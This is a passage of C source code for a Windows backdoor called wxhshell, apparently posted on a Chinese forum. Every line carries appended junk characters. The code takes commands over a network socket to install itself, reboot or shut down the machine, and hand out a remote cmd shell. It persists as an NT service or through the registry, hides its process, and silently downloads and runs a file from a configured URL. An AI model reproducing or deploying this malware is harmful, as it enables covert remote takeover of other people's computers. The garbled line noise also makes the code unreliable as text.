    switch(cmd[0]) { l15Z8hYh j  
  6H!l>@a7v  
  // 帮助 \D-X _.v  
  case '?': { _=9m [  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $k+XH+1CW  
    break; qN^]`M[ BY  
  } zhe~kI  
  // 安装 g77:92  
  case 'i': { .dn#TtQv  
    if(Install()) or"9I1o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u p]>UX8  
    else /A-VT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P\h1%a/D  
    break; oz%{D@CF  
    } 4WPco"xH!  
  // 卸载 FzF#V=9lP  
  case 'r': { wjTW{Bg~G  
    if(Uninstall()) [sK'jQo-[1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RSx{Gbd4X  
    else iM$iZ;Tp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +fHqGZ]  
    break; 4YXp,U  
    } mln%Rd6u/  
  // 显示 wxhshell 所在路径 4m%Yck{R  
  case 'p': { s6DPb_,  
    char svExeFile[MAX_PATH]; 9fYof  
    strcpy(svExeFile,"\n\r"); +1K= ]#a  
      strcat(svExeFile,ExeFile); KvjH\;78  
        send(wsh,svExeFile,strlen(svExeFile),0); \1eWI  
    break; dFZh1*1  
    } !{!(yP_  
  // 重启 3x=NSe|f  
  case 'b': { L% T%6p_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [KMS/'; ]  
    if(Boot(REBOOT)) !>WW(n07Ma  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H{uR+&<  
    else { ,nWZJ&B  
    closesocket(wsh); of'H]IZ  
    ExitThread(0); U%KgLg#  
    } .PCbGPbk  
    break; miV8jaV  
    } ! QKec  
  // 关机 5*O]`Q7  
  case 'd': { Mn*5oH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uFG ;AY|  
    if(Boot(SHUTDOWN)) ]sqp^tQ`e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LAGg(:3f3  
    else { b~?3HY:t~K  
    closesocket(wsh); C9j5Pd5q1L  
    ExitThread(0); "uBr]N:  
    } 6Z-[-0o+g  
    break; \wp8kSzC  
    } }7i}dyQv}  
  // 获取shell k~]\kv=  
  case 's': { w69G6G(  
    CmdShell(wsh); [bEm D  
    closesocket(wsh); 0C717  
    ExitThread(0); rUmnv%qTS  
    break; MNX-D0`g  
  } _:Ov-HIR  
  // 退出 0Hr)h{!F"  
  case 'x': { 9abn6S(XpJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LufZ,  
    CloseIt(wsh); OQ _wsAA  
    break; $KmE9Se6,  
    } nz`"f,  
  // 离开 D[(T--LLT  
  case 'q': { [ZETyM`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (N{  
    closesocket(wsh); ,-.=]r/s  
    WSACleanup(); [[Usrbf  
    exit(1); {#l@9r%  
    break; ?Q6ZZQ~  
        } CM+wkU ?,  
  } BgwZZ<B  
  } pXe]hnY  
*4 Kc "M  
  // 提示信息 {6*{P!H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u"zQh|  
} BtP*R,>  
  } [,qb) &_  
mh~n#bah  
  return; cx4'rK.  
} 1F?ylZ|~  
5O"wPsl  
// shell模块句柄 uzLIllVX*  
int CmdShell(SOCKET sock) 7 P]Sc   
{ +e) RT<  
STARTUPINFO si; dYhLk2  
ZeroMemory(&si,sizeof(si)); mWU*}-M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0Y\7A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |)Sx"B)  
PROCESS_INFORMATION ProcessInfo; tA9(N>[ *  
char cmdline[]="cmd"; 1;9  %L@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CYC6:g|)  
  return 0; 4Jj O.H  
} qzu%Pp6If  
}u'O<d~z?  
// 自身启动模式 l7GLN1#m  
int StartFromService(void) ^i~'aq  
{ (9D,Ukw  
typedef struct <*&2b  
{ cWL 7gv\|  
  DWORD ExitStatus; {%z}CTf#  
  DWORD PebBaseAddress; hH@pA:`s  
  DWORD AffinityMask; bq` 0$c%hN  
  DWORD BasePriority; h>K%Ox R  
  ULONG UniqueProcessId; LL=nMoS  
  ULONG InheritedFromUniqueProcessId; Jx= v6==7  
}   PROCESS_BASIC_INFORMATION; h2edA#bub  
o8S)8_3  
PROCNTQSIP NtQueryInformationProcess; 610hw376B  
oNBYJ]t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g/m%A2M&aH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ( j~trpe,  
]6EXaf#  
  HANDLE             hProcess; 4kQL\Ld#E%  
  PROCESS_BASIC_INFORMATION pbi; dDla?)F  
AT,?dxP J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c95{Xy  
  if(NULL == hInst ) return 0; 'D;'Pr]  
dKTUW<C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }!g^}BWWp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {piZm12q?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )*3sE1  
VR_bX|  
  if (!NtQueryInformationProcess) return 0; jR&AQ-H&  
gL;tyf1P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r`(U3EgP  
  if(!hProcess) return 0; sp$W=Wu7  
GPnSdGLC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FzGla})  
nLjo3yvV..  
  CloseHandle(hProcess); h|Uy!?l  
dq ~=P>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u.sn"G-c  
if(hProcess==NULL) return 0; 6~v|pA jY  
/>9?/&N6"  
HMODULE hMod; (Dx]!FFz  
char procName[255]; y|@=j~}Zq  
unsigned long cbNeeded; U0W- X9>y  
*QpKeI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I|?Z.!I|  
5zH?1Z~*  
  CloseHandle(hProcess); O~AOZ^a:2  
hkL[hD  
if(strstr(procName,"services")) return 1; // 以服务启动 B]YY[i  
$?u ^hMU=  
  return 0; // 注册表启动 i bwnK?ZA  
} ?(CMm%(8  
3#H x^H  
// 主模块 @rVBL<!o,  
int StartWxhshell(LPSTR lpCmdLine) `&yUU2W  
{ i;$'haK<  
  SOCKET wsl; *u%4]q  
BOOL val=TRUE; 4!dN^;Cb  
  int port=0; r:Xui-  
  struct sockaddr_in door; L?n*b  
<ctn_"p Z  
  if(wscfg.ws_autoins) Install(); }Ik{tUS$  
If_S_A c  
port=atoi(lpCmdLine); JOIbxU{U_  
>K9uwUi|b]  
if(port<=0) port=wscfg.ws_port; 5? s$(Lt~  
( U |[C*  
  WSADATA data; UC34AKm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Py8<db%  
<99Xg_e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3J{`]v5`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BZE~k?*  
  door.sin_family = AF_INET; /IC7q?avQN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l&4TfzkY  
  door.sin_port = htons(port); &@xixbg  
U/oncC5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4yH=dl4=44  
closesocket(wsl); FPu"/4v&  
return 1; ?b~Vuo  
} ]64mSB  
*_z5Pa`A  
  if(listen(wsl,2) == INVALID_SOCKET) { e/m ,PE  
closesocket(wsl); Z?5kO-[  
return 1; \S@;>A<J  
} '%`W y@  
  Wxhshell(wsl); D/Y.'P:j  
  WSACleanup(); .sA?}H#wb  
 (Ia}]q  
return 0; iG*/m><-  
r c7"sIkV  
} mlY0G w_e  
8_K22]c5  
// 以NT服务方式启动 1TKOvy_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RTNUHz;{L  
{ ]cnLJ^2  
DWORD   status = 0; XnQo0 R.PW  
  DWORD   specificError = 0xfffffff; "}]1OL SV  
pCNihZ~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M ,8r{[2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0=;jGh}|i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ++:vO  
  serviceStatus.dwWin32ExitCode     = 0; B8_ w3;x  
  serviceStatus.dwServiceSpecificExitCode = 0; ~n84x  
  serviceStatus.dwCheckPoint       = 0; 0EYK3<k9!  
  serviceStatus.dwWaitHint       = 0; S ; x;FU  
dm&F1NkT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9LGJ-gL  
  if (hServiceStatusHandle==0) return; k|,pj^  
@#}9?>UV  
status = GetLastError(); vS:%(Y"!<  
  if (status!=NO_ERROR) s,Cm}4L6  
{ SQ)$>3>C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AyKaazm]9  
    serviceStatus.dwCheckPoint       = 0; #{GUu ',?&  
    serviceStatus.dwWaitHint       = 0; n< [np;\  
    serviceStatus.dwWin32ExitCode     = status; %,GY&hTw  
    serviceStatus.dwServiceSpecificExitCode = specificError; SU9#Y|I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pn5@7~  
    return; cX@~Hk4=\  
  } o*\kg+8  
T"'"T]^ X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `/<KDd:_t  
  serviceStatus.dwCheckPoint       = 0; h FP$MFab  
  serviceStatus.dwWaitHint       = 0; S?%V o* Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 50(/LV1  
} k`r}Gb  
n\5` JNCb  
// 处理NT服务事件,比如:启动、停止 #"6(Q2| l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EW1 L!3K  
{ &3>ki0L  
switch(fdwControl) -3X#$k8  
{ rB|D^@mG  
case SERVICE_CONTROL_STOP: 7Rj!vj/  
  serviceStatus.dwWin32ExitCode = 0; ,*r"cmz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tq?lF$mM:  
  serviceStatus.dwCheckPoint   = 0; BSG_),AH  
  serviceStatus.dwWaitHint     = 0; n6[bF "v  
  { /g712\?M4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rSB"0 W7  
  } Ywt_h;:  
  return; mUzNrkG(G  
case SERVICE_CONTROL_PAUSE: 7[QU *1bk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; __$IbF5  
  break; 3~BL!e,  
case SERVICE_CONTROL_CONTINUE: *8U+2zgfC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b/'fC%o,  
  break; bmc1S  
case SERVICE_CONTROL_INTERROGATE: 7(eWBJfTo  
  break; Fg?Gx(g4  
}; qI<6% ^i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,v$gQU2  
} X}_}`wIn  
Q$W0>bUP  
// 标准应用程序主函数 U n2xZ[4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }.4`zK&SB  
{ KSuP'.l  
FgNO#%  
// 获取操作系统版本 W{Ie(hf  
OsIsNt=GetOsVer(); 8^$}!9B~JZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D*`|MzlQ  
;or(:Yoc-  
  // 从命令行安装 `Te n2(D  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wk'KN o  
abWmPi  
  // 下载执行文件 rZe"*$e  
if(wscfg.ws_downexe) { IO`.]iG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,y3o ,gl  
  WinExec(wscfg.ws_filenam,SW_HIDE); 57)S"  
} s7SW4ff1  
$uawQf+S  
if(!OsIsNt) { 8N!E`{W  
// 如果时win9x,隐藏进程并且设置为注册表启动 w]UYD;f  
HideProc(); 3ZU`}  
StartWxhshell(lpCmdLine); F^IYx~:  
} C!B2 .:ja  
else -Uq I=#  
  if(StartFromService()) LCRreIIgZ  
  // 以服务方式启动 @W=#gRqQPy  
  StartServiceCtrlDispatcher(DispatchTable); xqO'FQO%  
else RERum  
  // 普通方式启动 ;) 5d wq  
  StartWxhshell(lpCmdLine); hv}rA,Yd  
#wNksh/J^  
return 0; EkEM|<GNd  
}
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只看该作者 1 发表于: 2006-10-10
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